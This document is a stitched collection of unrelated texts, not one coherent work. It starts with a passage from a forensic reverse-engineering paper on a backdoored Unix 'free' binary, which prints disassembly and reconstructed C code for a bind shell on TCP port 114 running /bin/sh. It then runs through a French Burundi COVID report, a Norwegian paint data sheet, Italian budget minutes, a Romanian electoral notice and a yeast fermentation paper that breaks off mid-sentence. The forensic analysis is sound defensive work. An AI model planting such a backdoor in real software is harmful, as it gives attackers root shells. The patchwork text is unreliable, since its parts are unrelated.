00 00 00 mov $0x1,%edx 8048e9a: 74 14 je 8048eb0 <gogogo.0+0x30 8048e9c: 8d 65 f4 lea 0xfffffff4(%ebp),%esp 8048e9f: 5b pop %ebx 8048ea0: 5e pop %esi 8048ea1: 5f pop %edi 8048ea2: 89 d0 mov %edx,%eax 8048ea4: 5d pop %ebp 8048ea5: c3 ret 8048ea6: 8d 76 00 lea 0x0(%esi),%esi 8048ea9: 8d bc 27 00 00 00 00 lea 0x0(%edi,1),%edi 8048eb0: 50 push %eax 8048eb1: 6a 06 push $0x6 8048eb3: 6a 01 push $0x1 8048eb5: 6a 02 push $0x2 ############################### BIND 8048c7c: ff 25 88 c1 04 08 jmp *0x804c188 8048c82: 68 e8 00 00 00 push $0xe8 8048c87: e9 10 fe ff ff jmp 8048a9c <_init+0x18 ..... 8048eff: e8 78 fd ff ff call 8048c7c <_init+0x1f8 8048f04: 83 c4 10 add $0x10,%esp 8048f07: 85 c0 test %eax,%eax 8048f09: 89 43 d8 mov %eax,0xffffffd8(%ebx) 8048f0c: ba 01 00 00 00 mov $0x1,%edx 8048f11: 75 89 jne 8048e9c <gogogo.0+0x1c ``` ############################### ############################### LISTEN ``` 8048bac: ff 25 54 c1 04 08 jmp *0x804c154 8048bb2: 68 80 00 00 00 push $0x80 8048bb7: e9 e0 fe ff ff jmp 8048a9c _init+0x18 ..... 8048f51: e8 56 fc ff ff call 8048bac <_init+0x128 8048f56: 83 c4 10 add $0x10,%esp 8048f59: 85 c0 test %eax,%eax 8048f5b: 89 43 d8 mov %eax,0xffffffd8(%ebx) 8048f5e: ba 01 00 00 00 mov $0x1,%edx 8048f63: 0f 85 33 ff ff ff jne 8048e9c <gogogo.0+0x1c 8048f69: 8d 7b d4 lea 0xffffffd4(%ebx),%edi 8048f6c: 8d 73 e0 lea 0xffffffe0(%ebx),%esi 8048f6f: c7 43 d4 10 00 00 00 movl $0x10,0xffffffd4(%ebx) 8048f76: 51 push %ecx 8048f77: 57 push %edi 8048f78: 56 push %esi 8048f79: 8b 53 dc mov 0xffffffdc(%ebx),%edx 8048f7c: 52 push %edx 8048f7d: 89 75 e8 mov %esi,0xffffffe8(%ebp) ############################### ACCEPT 8048b8c: ff 25 4c c1 04 08 jmp *0x804c14c 8048b92: 68 70 00 00 00 push $0x70 8048b97: e9 00 ff ff ff jmp 8048a9c _init+0x18 ..... 8048f80: e8 07 fc ff ff call 8048b8c _init+0x108 8048f85: 83 c4 10 add $0x10,%esp 8048f88: 85 c0 test %eax,%eax 8048f8a: 89 43 d0 mov %eax,0xffffffd0(%ebx) 8048f8d: 78 72 js 8049001 <gogogo.0+0x181 ############################### FORK 8048b4c: ff 25 3c c1 04 08 jmp *0x804c13c 8048b52: 68 50 00 00 00 push $0x50 8048b57: e9 40 ff ff ff jmp 8048a9c _init+0x18 ..... 8048f13: e8 34 fc ff ff call 8048b4c _init+0xc8 8048f18: 85 c0 test %eax,%eax ``` ``` 8048f1a: ba 01 00 00 00 mov $0x1,%edx 8048f1f: 0f 85 77 ff ff ff jne 8048e9c gogogo.0+0x1c ############################### EXECL 8048acc: ff 25 1c c1 04 08 jmp *0x804c11c 8048ad2: 68 10 00 00 00 push $0x10 8048ad7: e9 c0 ff ff ff jmp 8048a9c _init+0x18 ..... 8048feb: e8 dc fa ff ff call 8048acc _init+0x48 8048ff0: 5e pop %esi 8048ff1: 8b 5b d0 mov 0xffffffd0(%ebx),%ebx 8048ff4: 53 push %ebx ############################### ``` Could this be /bin/sh? ``` 8048ff1: 8b 5b d0 mov 0xffffffd0(%ebx),%ebx ``` 4 Code Reconstruction At this point we've discovered a common link between our socket, getuid, bind, listen, accept, fork, and execl calls, which is that they all belong to a function most likely   labeled   'gogogo'.   From   what   we   have   seen   it's probably a binded shell on TCP port 114, and it only opens   if   your   root   (hence   the   getuid   and   low   port number). ``` sock1=sizeof(struct sockaddr_in); if ((outsock = accept(insock, (struct sockaddr *)&away, &sock1)) == ­1) { execl ("/bin/sh","/bin/sh"); ... ############################### ``` The above is just a sample of what the original socket code   MIGHT   have   looked   like   (the   syntax   may   be incorrect). Upon further review of the binary it is evident there may have possibly been a close(), however it was not necessarily  important  to our forensic  work at the time. This   still   leaves   some   unanswered   questions   such   as: what is calling this backdoor and how do we trigger it. Further   analysis   on   the   binary   can   answer   these questions. If we search our objdump output for 'gogogo', after several hits we stumble upon this: ``` 804916d: e8 0e fd ff ff call 8048e80 <gogogo.0 ``` This appears to be in the 'main' function, exactly where we should have expected it to be. But we need to know what in the main function calls 'gogogo', therefore let's take  a   look  at   the  section   of  objdump  output   around 'gogogo' in main, ``` ############################### #define port 114 ... int gogogo() { local.sin_family=AF_INET; local.sin_port = htons(port); local.sin_addr.s_addr=INADDR_ANY; memset(&(local.sin_zero), 0, sizeof(local.sin_zero)); if((insock=socket(AF_INET,SOCK_STREAM,0))<0) return 0; if((bind(insock,(struct sockaddr *)&local,sizeof(local))<0)) return0; if((listen(insock, 1))<0) return 0; if (fork() != 0) exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); ``` ``` 8049165: e9 f0 fe ff ff jmp 804905a <main+0x3a 804916a: 8d 4d e8 lea 0xffffffe8(%ebp),%ecx 804916d: e8 0e fd ff ff call 8048e80 <gogogo.0 8049172: e8 f9 10 00 00 call 804a270 <meminfo 8049177: 83 ec 0c sub $0xc,%esp ``` The   <gogogo.0   call   appears   to   be   right   next   to   the <meminfo call. Perhaps they are called at the same time? ``` ############################### borg:/# strace free ­t ................. open("/proc/meminfo", O_RDONLY) = 3 ................. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(114), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 1) ................. borg:/# ############################### ``` And there you have it. Although the output above using the strace command is extremely cropped you get the idea. Our backdoored 'free' binary will open up a backdoor on TCP port 114 with /bin/sh binded when the option 'free ­t' is used. Now let's use strings on our binary and grep for a shell. 5 Summary My apologies if I left anything out of this paper or did notcover  the details  enough.  I'm  currently  planning  a book   on   Reverse   Engineering   and   forensics   in   *NIX environments. If you would like to contribute then by all means email me.
<urn:uuid:e830bab6-3e04-477e-a9be-23c0b050beb2>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
23,685
Burundi : Situation sur la Réponse À la Pandémie due au Coronavirus @rib News, 11/03/2022 - Source OMS-Burundi Rapport de Situation sur la Réponse À la Pandémie due au Coronavirus SARS-CoV-2 (COVID-19) - Rédigé et publié le 11 mars 2022. 1. Résumé de la situation épidémiologique : Parmi les 38261 cas de Covid-19 rapportés depuis le début de la pandémie, on dénombre 34880 cas (91.16%) qui sont d'origine communautaire et 3381 cas (8.84%) importés d'apistés au niveau des points d'entrée. Depuis le début de la pandémie, ce sont quarante-six (46) agents de santé testés positifs qui ont été officiellement rapportés. 2. Priorités immédiates : L'organisation d'une revue intra-action du 21 au 25 mars 2022. La mise en place d'un plan national de riposte contre la Covid-19 qui couvre la période Oct. 2021-mars 2022. Lire l'intégralité du Rapport
<urn:uuid:fd6427b1-0bd3-444b-9fc0-f1e7ece1028b>
HuggingFaceFW/finepdfs/tree/main/data/fra_Latn/train
finepdfs
fra_Latn
848
Teknisk datablad Internasjonal master – kun til profesjonell bruk Produktliste Produktbeskrivelse Performance Wash Primer har god korrosjonsbestandighet og god vedheft til et bredt spekter av metallunderlag. Den må kombineres med én av de 3 tynnerne. RLD8960V Underlag og klargjøring SLIK KLARGJØR DU UNDERLAGET: Underlag: Sliping: Rent stål P80-P150 Rent aluminium P360 tørr- eller finblåsing Anodisert aluminium Ingen sliping Galvanisert stål Rubb med Scotch Brite ® Red Pad P80-P150 GRP P320-400 Rengjøring: Underlaget som skal lakkeres må være tørt, rent og fritt for rust, fett og formslippmiddel. Underlag må behandles grundig med en kombinasjon av D845 Degreaser og D837 Spirit Wipe (eller D8401 rensemiddel med lav V.O.C.) Prosess PÅFØRING MED KONVENSJONELL BEHOLDER ELLER TRYKKBEHOLDER Blandingsforhold etter volum: Anbefalte kombinasjoner: Brukstid ved 20 °C: 24 timer Påføringsprosess TRADISJONELL, TRYKKBEHOLDER ELLER LUFTASSISTERT LUFTFRI PÅFØRING Sprøyteviskositet ved 20 °C: 18–22 sekunder DIN4 for tradisjonell/trykkbeholderpåføring 1,4–1,6 mm tyngdekrafts- eller sugemating ved 2,0–2,4 bar ELLER 0,8–1,1 mm trykkbeholder Trykk i lufthetten: 0,68 bar Lakkeringstrykk: 0,3–1,0 bar Væskeflythastighet: 280–320 cc/min Antall lag 2 middels lukkede lag Tørr filmtykkelse: 15–20 µm 2 lag: Avlufting mellom lagene: Avlufting før omlakkering: Minimum 15 minutter, men til den er fullstendig halvmatt Minimum 60 minutter, men til den er fullstendig halvmatt eller ovnstørking på lav temp. i 20 minutter ved 50 °C Tørketid: 20 °C støvfritt: 15–20 min. 20 °C gjennomtørr 2 timer 50 ºC tørketid (metalltemp.) 20 min. Vått: Hvis nødvendig, P600-P800 eller Tørt: P320-P400 Sprøyt et nytt lag i tilfelle gjennomsliping Overlakkering Overlakker med: Alle Delfleet PUR Primer eller Surfacer. IKKE OMLAKKER med epoksygrunning Performance Dette produktet er designet for bruk som vedheftsfremmer med høy korrosjonsytelse så lenge det sprøytes i en 3-trinns modus (Wash Primer med tykkelse>15 µm + PUR Primer Surfacer + topplakk). Helse, miljø og sikkerhet EUs grenseverdi for dette produktet (produktkategori: IIB.c) i bruksklar form er maks. 780 g/l VOC. VOC-innholdet i dette produktet i bruksklar form er maks. 780 g/l. Avhengig av valgt bruksmodus vil produktets faktiske VOC-innhold være lavere enn kravet i EU-direktivet. Disse produktene er kun beregnet til profesjonell bruk og skal ikke brukes til andre formål enn det som er angitt. Opplysningene i dette databladet er basert på nåværende vitenskapelig og teknisk kunnskap, og det er brukerens ansvar å ta alle nødvendige forholdsregler for å sikre at produktet egner seg til det tiltenkte formålet. Når det gjelder helse- og sikkerhetsopplysninger, finner du disse i sikkerhetsdatabladet og på: www.ppgrefinish.com For mer informasjon kan du kontakte: Tlf.: +44 (0)1449 771771 Faks: 01449 773472 Customer Service Sales Group PPG Industries (UK) Ltd Needham Road Stowmarket Suffolk IP14 2AD PPG-logoen, Delfleet, Delfleet One og PaintManager er registrerte varemerker og RapidMatch er et varemerke som tilhører PPG Industries Ohio, Inc. ©2018 PPG Industries. Med enerett. Opphavsrett for de ovennevnte originale produktnumrene tilhører PPG Industries. DISSE PRODUKTENE ER KUN TIL PROFESJONELL BRUK.
<urn:uuid:3a6e7fb5-6eea-4a9e-884f-ff433911c94a>
HuggingFaceFW/finepdfs/tree/main/data/nob_Latn/train
finepdfs
nob_Latn
3,329
L’anno duemiladieci, nel mese di marzo, il giorno nove, alle ore nove, nella sede del Consorzio Scuola Umbra di Amministrazione Pubblica in località Pila (Perugia), in seguito a convocazione scritta inviata dal Presidente dell’Assemblea, Assessore Vincenzo Riommi, si è riunita in sessione straordinaria l’Assemblea consortile. Risultano presenti: | Ente Consorziato | % compart. | Presenti Nome e cognome | Qualifica Sindaco/Presidente o delegato | Assenti | |---------------------------|------------|--------------------------|----------------------------------------|---------| | Regione Umbria | 40 | Vincenzo Riommi | Assessore | | | Provincia di Perugia | 15 | Donatella Porzi | Assessore | | | Comune di Perugia | 15 | Valeria Cardinali | Assessore | | | Comune di Terni | 5 | | | Assente | | Università degli Studi di Perugia | 5 | | | Assente | L’Assessore Vincenzo Riommi, assume la Presidenza e, constatato legale il numero degli intervenuti, dichiara aperta la seduta. Assume la funzioni di Segretario dell’Assemblea l’Amministratore Unico, Dott. Alberto Naticchioni, assistito dalla Dott.ssa Claudia Ferri per la redazione del verbale. IL PRESIDENTE Invita l’Assemblea a discutere e deliberare sull’oggetto sopra indicato, compreso all’Ordine del Giorno della presente riunione. Viene in assemblea la determina di variazione di bilancio n 1 Pertanto L’ASSEMBLEA DEL CONSORZIO PREMESSO che: - con deliberazione dall’Assemblea Consortile n. 7 del 25 settembre 2009 è stato approvato il Regolamento di finanza e contabilità con allegato al sub A lo schema di bilancio; - il bilancio di previsione dell’esercizio finanziario 2010 è stato approvato con deliberazione dall’Assemblea Consortile con deliberazione n. 16 del 28 dicembre 2009; RISCONTRATO che: - le ritenute sindacali operate a carico degli iscritti sono state previste erroneamente nelle partite correnti mentre rivestono carattere di partita di giro; - per la gestione di alcune voci relative alle ritenute previdenziali e INAIL connesse ai rapporti di lavoro dipendente e di collaborazione coordinata e continuativa è richiesto un maggiore dettaglio nel bilancio, con la necessità di istituire capitoli appositi al fine di effettuare movimenti contabili corretti; RILEVATA la necessità di provvedere ad una variazione di bilancio del corrente esercizio finanziario in entrata 1. Spostamento dello stanziamento previsto in entrata per le RITENUTE SINDACALI, azzerando il capitolo 16, categoria 4, titolo 1, istituendo, nelle partite di giro, il capitolo 31, categoria 2, titolo 4, pari denominazione e importo; 2. Detrarre, nel titolo 4, categoria 2, dal capitolo 25 “TRATTENUTE IRPEF” gli importi per l’istituzione del capitolo 32 “ADDIZIONALE IRPEF REGIONALE CO.CO.CO.” 3. Detrarre, nel titolo 4, categoria 2, dal capitolo 29 “RITENUTE PREVIDENZIALI DIPENDENTI” gli importi per l’istituzione dei capitoli: - 33 INPS CO.CO.CO - 34 INAIL CARICO CO.CO.CO - 35 ADDIZIONALE INAIL CARICO CO.CO.CO in spesa 1. Detrarre, dal titolo 1, intervento 1, capitolo 1 “RETRIBUZIONE PERSONALE” gli importi per l’istituzione, nelle partite di giro, titolo 4, intervento 1, del capitolo 71 “RITENUTE SINDACALI”; 2. Detrarre, nel titolo 4, intervento 2, dal capitolo 65 “TRATTENUTE IRPEF” gli importi per l’istituzione del capitolo 72 “ADDIZIONALE IRPEF REGIONALE CO.CO.CO.” 3. Detrarre, nel titolo 4, categoria 2, dal capitolo 69 "RITENUTE PREVIDENZIALI DIPENDENTI" gli importi per l'istituzione dei capitoli: - 73 INPS CO CO.CO - 74 INAIL CARICO CO CO.CO - 75 ADDIZIONALE INAIL CARICO CO CO.CO RITENUTO di ratificare le conseguenti necessarie variazioni al bilancio annuale, alla relazione previsionale e programmatica, e al bilancio pluriennale nei seguenti capitoli in entrata e per la spesa: ### ENTRATE | Titolo | Categoria | Capitolo | Descrizione | STANZIAMENTI DI BILANCIO | VARIAZIONE + | VARIAZIONE - | Assestato AL 24/2/2010 | |--------|-----------|----------|------------------------------------|--------------------------|--------------|--------------|-------------------------| | 1 | 4 | 16 | RITENUTE SINDACALI | 1.920,00 | | 1.920,00 | - | | 4 | 2 | 31 | RITENUTE SINDACALI | | 1.920,00 | | 1.920,00 | | 4 | 2 | 25 | TRATTENUITE IRPEF | 102.295,24 | | 511,80 | 101.783,44 | | 4 | 2 | 32 | ADDIZIONALE IRPEF REGIONALE | | 511,80 | | 511,80 | | 4 | 2 | 29 | RITENUTE PREVIDENZIALI DIPENDENTI | 53.118,05 | | 5.693,52 | 47.424,53 | | 4 | 2 | 33 | INPS CO.CO.CO. | | 5.568,00 | | 5.568,00 | | 4 | 2 | 34 | INAIL CARICO CO.CO.CO | | 125,16 | | 125,16 | | 4 | 2 | 35 | ADDIZIONALE INAIL CARICO CO.CO.CO.CO | | 0,36 | | 0,36 | 8 125 32 8 125 32 ### SPESE | Titolo | Intervento | Capitolo | Descrizione | STANZIAMENTI DI BILANCIO | VARIAZIONE + | VARIAZIONE - | Assestato AL 24/2/2010 | |--------|------------|----------|------------------------------------|--------------------------|--------------|--------------|-------------------------| | 1 | 1 | 1 | RETRIBUZIONE PERSONALE | 444.761,91 | | 1.920,00 | 442.841,91 | | 4 | 1 | 71 | RITENUTE SINDACALI | - | 1.920,00 | | 1.920,00 | | 4 | 1 | 65 | TRATTENUITE IRPEF | 102.295,24 | | 511,80 | 101.783,44 | | 4 | 1 | 72 | ADDIZIONALE IRPEF REGIONALE | - | 511,80 | | 511,80 | | 4 | 1 | 69 | RITENUTE PREVIDENZIALI DIPENDENTI | 53.118,05 | | 5.693,52 | 47.424,53 | | 4 | 1 | 73 | INPS CO.CO.CO. | - | 5.568,00 | | 5.568,00 | | 4 | 1 | 74 | INAIL CARICO CO.CO.CO | - | 125,16 | | 125,16 | | 4 | 1 | 75 | ADDIZIONALE INAIL CARICO CO.CO.CO.CO | - | 0,36 | | 0,36 | 8 125 32 8 125 32 RILEVATO che le variazioni apportate il pareggio del bilancio pareggia in entrata e uscita in euro 2.385.019,57 in termini di competenza per l'esercizio finanziario 2010; PRESO ATTO che ai sensi dell'art. 6, comma 4, del Regolamento di Contabilità, il Revisore dei Conti ha espresso parere favorevole alla variazione; VISTO - La Legge Regionale 24 del 23 dicembre 2004 – il “Bilancio di previsione per l’anno 2010, il bilancio pluriennale 2010-2012”, approvati dall’Assemblea Consortile con deliberazione n. 16 del 28 dicembre 2009; – il Regolamento di finanza e contabilità approvato con deliberazione n. 7 del 25 settembre 2009 dall’Assemblea Consortile – il vigente Regolamento sull’ordinamento degli uffici e dei servizi; – il Testo Unico degli Enti Locali, D Lgs. 267/2000 e s m i.; DELIBERA 1) Di ratificare le variazioni apportare al bilancio di previsione 2010 di cui sopra; 2) Di dare atto che deve contestualmente ritenersi integrata la relazione previsionale e programmatica allegata al Bilancio di Previsione 2009 ed il Bilancio di previsione pluriennale; 3) Dare atto che non vengono modificati gli equilibri di bilancio in ossequio al disposto dall’art. 193 del T.U n. 267/2000; 4) Di dichiarare la presente deliberazione urgente, ed immediatamente eseguibile, con votazione successiva, resa in modo palese dall’esito unanime Letto, confermato e sottoscritto: L’Amministratore Unico Dott. Alberto Naticchioni Il Presidente Assessore Vincenzo Riommi ATTESTAZIONE DI PUBBLICAZIONE Si attesta che il presente atto è stato pubblicato all’Albo Pretorio di questo Consorzio in data e vi rimarrà per 15 giorni consecutivi. Lì L’Amministratore Unico Dott. Alberto Naticchioni ESECUTIVITA’ ☐ Per avvenuta decorrenza di giorni 10 dalla data di pubblicazione. Lì L’Amministratore Unico Dott. Alberto Naticchioni ☒ Dichiarata immediatamente eseguibile ai sensi dell’art. 134, comma 4, del D.lgs 28.08.2000 n. 267 Lì 28.12.2009 L’Amministratore Unico Dott. Alberto Naticchioni PARERI Ai sensi e per gli effetti dell’art. 49, comma 1, del D. Lgs. 267/2000 e s.m.i., vengono espressi i seguenti pareri: a) Di regolarità tecnica e contabile: Parere favorevole Li 28.12.2009 L’Amministratore Unico Dott. Alberto Naticchioni
<urn:uuid:179125dc-1667-40b8-8541-c96902933ff6>
HuggingFaceFW/finepdfs/tree/main/data/ita_Latn/train
finepdfs
ita_Latn
9,533
CONVOCATOR Având în vedere prevederile art. 5 și art. 6 din Hotărârea Biroului Electoral Central nr. 1H/20.03.2024, privind aprobarea Regulamentului de organizare și funcționare a birourilor electorale constituite la alegerile pentru membrii din România în Parlamentul European din anul 2024 și pentru alegerile pentru autoritățile administrației publice locale din anul 2024. Biroul Electoral de Circumscripție Orășenească nr. 7 Popești-Leordeni, jud. Ilfov, propune: Art. 1 – Se convoacă ședința Biroul Electoral de Circumscripție Orășenească nr. 7 Popești-Leordeni, jud. Ilfov la data de 30.04.2024, ora 18:00 în sediul din str. Pavel Ceamur nr. 2, Popești-Leordeni, jud. Ilfov, cu proiectul ordinii de zi: - analiza propunerilor de candidatură depuse pentru funcțiile de primar și consilieri locali ai orașului Popești-Leordeni, jud. Ilfov. Art. 2 – Deciziile, hotărârile și măsurile adoptate se aduc la cunoștința publică prin afișarea la sediul biroului electoral și pe site-ul Primăriei Popești-Leordeni: www.ppl.ro LOCUTOR Dănescu Alexandru
<urn:uuid:e53aff57-ec8a-4b21-8d34-6a676682604d>
HuggingFaceFW/finepdfs/tree/main/data/ron_Latn/train
finepdfs
ron_Latn
1,053
A Mathematical Model to Evaluate the Kinetics of D-glucose and D-fructose Fermentations by Saccharomyces bayanus at Increasing Ethanol Concentrations A. Zinnai, F. Venturi, C. Sanmartin, M.F. Quartacci, G. Andrich* Department of Agriculture, Food and Environment, University of Pisa, Via del Borghetto 80, 56124 Pisa, Italy Submitted for publication: September 2013 Accepted for publication: March 2014 Key words: Hexose catabolism, kinetic model, stuck of fermentation, Saccharomyces bayanus, wine, alcoholic fermentation, yeast In the cellar, slow and stuck fermentations occurring during winemaking are often successfully solved by the addition of yeast strains like Saccharomyces bayanus. The kinetic behaviour shown by S. bayanus during alcoholic fermentation was investigated using a mathematical model previously tested for S. cerevisiae, in order to show which of the six functional parameters of the model differed significantly with the yeast population. Although some parameters (hexose fractions converted to ethanol and glycerol) did not change, the kinetic constant related to the inactivation rate of the yeast population showed by S. cerevisiae assumed a value significantly higher (approximately 50-fold) than that observed for S. bayanus, while this latter population was ten times less affected by ethanol than S. cerevisiae. Although no remarkable differences could be found between the ability shown by the two yeast populations to convert hexoses (D-glucose and D-fructose), the tolerance for ethanol accumulation changed strongly. The conversion rate of these two hexoses by S. bayanus was affected less (about ten thousand-fold) by ethanol than that of S. cerevisiae. INTRODUCTION reproduction (Loureiro & Malfeito-Ferreira, 2003). Thus, the successful performance of alcoholic fermentation depends on the ability of the yeast strains to cope with a number of stress factors occurring during the whole winemaking process (Van Uden, 1985; Viegas et al., 1989). As widely reported in the literature, the lack of micro- and macronutrients necessary for yeasts, unsuitable reaction temperatures, too low pH values, the presence of significant concentrations of inhibitors (ethanol, phenols, etc.) in the reaction medium, the development of dangerous microorganisms, as well as the alteration of the ionic equilibrium, may induce a marked modification in the alcoholic fermentation kinetics (Bauer & Pretorius, 2000; Jones et al., 2005; Sablayrolles, 2009; Tronchoni et al., 2009; Emparan et al., 2012). Moreover, wine producers aim to produce grapes with increased sugar to total acid ratios in order to obtain higher concentrations of phenols and aromatic compounds that can improve wine quality but, as a consequence, they also obtain musts that are very difficult to process due to the unsuitable conditions for yeast Saccharomyces cerevisiae and related yeast species are the most utilised microorganisms to promote the alcoholic fermentation involved in many different production cycles aimed at obtaining alcoholic beverages (wine, beer, etc.) and bioethanol (Schubert, 2006; Ĭnal & Yiğitoğlu, 2012), despite yeasts being rather sensitive to ethanol accumulation in the reaction medium (Zinnai et al., 2013). In fact, the number of slow or stuck fermentations in winemaking is continuously increasing, in particular in countries characterised by warm climates. When a slow or stuck fermentation occurs, unfermented As reported in the literature (Gibson et al., 2007), the stress induced by ethanol accumulated in toxic concentrations is the main factor responsible for reduced ethanol production and, possibly, for stuck fermentations. Several authors stated that ethanol affects key features of yeast physiology, such as the membrane transport system (Klis et al., 2002; Gibson et al., 2007), cellular catabolism (Kubota et al., 2004; Hirasawa et al., 2007), cell growth (Carmelo et al., 1997) and cell death (Fernandes et al., 2003). Although ethanol toxicity in yeasts is a complex mechanism, the main target of such stress seems to be the cell membrane, and different mechanisms have been hypothesised (Costa et al., 1993; Rosa & Sa-Correia, 1996; Alexandre et al., 2001; Klis et al., 2002; Deutschbauer et al., 2005; Aguilera et al., 2006; Fujita et al., 2006; Nozawa et al., 2006). Some of the biochemical changes induced in yeast by ethanol are similar to those caused by thermal stress (Mira et al., 2009), and a synergistic effect between ethanol and temperature is well documented (Hohmann, 2002). 114 residual sugars can be used by contaminating microorganisms to carry on undesired metabolic pathways (Ribereau-Gayon et al., 2005; Urtubia et al., 2012). Under these conditions, some heterofermentative lactic acid bacteria strains could significantly increase volatile acidity, with a consequent loss of the sensory quality of the alcoholic beverage. Moreover, favourable conditions for the lysis of yeasts and release of intracellular compounds – as often occurs at the end of the alcoholic fermentation when reduced amounts of molecular SO 2 are dissolved in the liquid phase – may strongly stimulate the growth of Brettanomyces spp. (Ribereau-Gayon et al., 2005). The kinetic behaviour shown by S. bayanus during alcoholic fermentation was investigated using a mathematical model previously tested for S. cerevisiae (Zinnai et al., 2013) in order to find evidence for the kinetic differences between these two strains, to better understand why and when the addition of S. bayanus might be able to convert the residual fraction of sugars (mainly D-fructose) that S. cerevisiae was not able to ferment. The addition of yeast strains like S. bayanus, which effectively endures the stress caused by high ethanol concentrations, often is able to solve slow or stuck fermentation and to favour the conversion of D-fructose in the reaction medium. In fact, S. bayanus is commonly used in champagne production to promote the fermentation of sugars dissolved in the basic wine, and thus is a substrate rich in ethanol. S. bayanus and S. cerevisiae share about 40% of their genomes (Naumov et al., 2000) and can grow in similar environmental conditions, often being found together in many wines and beers (Querol & Bond, 2009). Generally, S. cerevisiae prefers temperatures around 35°C (Querol & Bond, 2009), while S. bayanus can grow and produce ethanol at temperatures ranging from 1 to 30°C (Brown & Oliver, 1982; Pulvirenti et al., 2000; Serra et al., 2005). Moreover, a strain of S. bayanus isolated from wine was able to grow in media containing 15% ethanol (Belloch et al., 2008). The reason why S. cerevisiae preferably metabolises D-glucose rather than D-fructose was investigated by a kinetic model based on six functional parameters having a well-defined chemical-physical meaning (Berthels et al., 2008; Zinnai et al., 2013). When a reduced amount of ethanol was dissolved in the reaction medium, the time evolution of the fermentation rates of these two sugars did not differ significantly, diversifying rather sensibly when the alcoholic concentration increased. The mathematical model accounted for this particular kinetic behaviour. In fact, only the sensitivity to ethanol showed by the enzyme involved in the limiting step of the fermentation process of these two sugars changed significantly, with the enzymatic transformation of D-fructose being more sensitive to ethanol than D-glucose. This difference was able to justify the kinetic behaviours shown by the two sugars when the ethanol concentration in the reaction medium increased. MATERIALS AND METHODS The kinetic runs were carried out at 27.0 ± 1.5°C, using a 500 mL batch reactor. To ensure anaerobic and sterilised conditions, the entire experimental apparatus was autoclaved and subjected to three cycles of vacuum, following by replacement with nitrogen sterilised by filtration. Thus, the presence of undesired microorganisms and the aerobic utilisation of sugars by yeasts were ruled out. The time evolution of both the CFU and the concentrations of both reagents (D-glucose and/or D-fructose) and their products (glycerol and ethanol) was evaluated by a total plate count (WL agar added with 250 μg/mL of chloramphenicol) and by utilising specific commercial enzymatic kits (Megazyme) respectively (Zinnai et al., 2011). The characteristics of this bioreactor, housed at the Department of Agriculture, Food and Environment of the University of Pisa, were reported in a previous paper (Andrich et al., 1988). Briefly, the bioreactor was formed by a three bottle-neck flask with a central neck joined to a bubble cooling column. A lateral neck was joined to a suitable apparatus that allowed the sampling of homogenous reaction medium aliquots under sterile and reduced conditions obtained by overpressures of N2 previously sterilised by filtration. A second lateral neck was used to inoculate S. bayanus. The fermentation temperature was maintained constant by a heat exchanger, whereas the homogeneity of the reaction medium was ensured by a magnetic stirrer. The bioreactor was initially filled with 250 mL of a citrate buffer aqueous solution (pH 3.4) containing D-glucose and/ or D-fructose (at five different concentrations: 100, 150, 200, 250 and 300 g/L), added or not with 77 or 84 mL/L of ethanol respectively, and sterilised by filtration. To the reaction medium containing only buffer and sugars (and ethanol when added), about 1.6 g (6.4 g/L) of a lyophilised yeast commercial strain (S. bayanus Actiflore Bayanus source BO213, Laffort Oenologie) were added directly to ensure a number of colony-forming units (CFU), ranging from 10 10 to 10 11 . As widely reported in the literature, many of the essential nutrients are supplied by the fraction of dead cells present in the lyophilised product added to the medium. This addition represented the initial time of all kinetic determinations. The identification of the best values to be assigned to the model parameters was carried out by the statistical program BURENL (Buzzi Ferraris & Manca, 1996), which is able to identify in a space of j-dimensions (where j is equal to the number of model parameters) the minimum value of the F function, which is given by the sum of squares of differences occurring among experimental (Y i, exper. ) and calculated (Y i,calc. ) data: where N represents the total number of experimental determinations. The values assumed by the model parameters at the minimum of the F function represent the best values. For each experimental run the calculation of the three parameters related to the time evolution of the yeast cells (k Y , kinetic constant of yeast population inactivation; [Y] t = 0 , yeast density at the initial run time; K Y ∙ E , constant related to the equilibrium occurring between alcoholic yeasts and ethanol) was carried out using the experimental data deriving from the determination of the microbial density. To evaluate the kinetic constants related to the time evolution 120 FIGURE 1 Time evolution of the ratio between the concentration of D-glucose and D-fructose at random time t = t ([H] t=t ), and the initial value ([H] t=0 ) of (A) 200 and (B) 300 g/L (1 111 and 1 667 mmol/L, respectively). of the hexose under investigation ([H] t = 0 , concentration of hexose initially added to the reaction medium; k H , specific kinetic activity shown by a single cell; K H ∙ E , constant related to the equilibrium occurring between ethanol and the enzymatic protein (Penz.) involved in the rate-limiting step of sugar fermentation), the experimental data concerning the decrease in hexose (D-glucose) and both ethanol and glycerol accumulations were used. assimilable nitrogen) (Salmon, 1989). In particular, the synthesis of proteins involved in the transport of sugars into the cell deeply affects their subsequent utilisation (Diderich et al., 1999). RESULTS AND DISCUSSION The kinetics of sugar utilisation by S. bayanus during fermentation is largely driven by sugar transport (Schutz & Gafner, 1995; Diderich et al., 1999; Dumont et al., 2008). According to the literature, the ability shown by the yeast population to metabolise the two sugars depends on the temperature and the composition of the culture media (sugar level, D-glucose to D-fructose ratio, as well as yeast- During winemaking, sugars are consumed mainly during the stationary phase, when nitrogen gradually becomes less available. Since nitrogen is an essential nutrient involved in the transport of sugars into the cell via protein synthesis, and this could partially explain why both yeast replication and fermentation activity slowed down (Salmon, 1989; Sablayrolles et al., 1996; Guillaume et al., 2007). Differently from what was previously found for S. cerevisiae (Zinnai et al., 2013), only a small decrease in the active population of the commercial strain of S. bayanus was observed. Only when the increase in alcohol level became significant could a notable reduction of yeast cells be found. To avoid yeast replication in the various experimental FIGURE 2 Time evolution of the ratio between the concentration of D-glucose and D-fructose at random time t = t ([H] t=t ) and the initial value ([H] t=0 ) of 200 g/L (1 111 mmol/L) when 67 g/L (1 456 mmol/L) of ethanol were initially added to the reaction medium. conditions from significantly affecting the rate of sugar consumption, a high concentration of lyophilised yeasts (6.2 g/L compared to the 0.2 g/L suggested by the manufacturer) was initially added to the reaction medium without any preventive rehydration. Thus, the lack of oxygen and, above all, the absence of essential nutrients prevented any possible increase in the microbial population, while the high CFU number ensured a significant conversion of the sugars added. The absence of a sigmoidal evolution of the experimental data related to sugar consumption validates the previous statement. This procedure was adopted to show whether ethanol accumulation would be able to explain the different rates of utilisation of the two sugars. added to 200 g/L (1 111 mmol/L) of the two sugars (Fig. 2), a 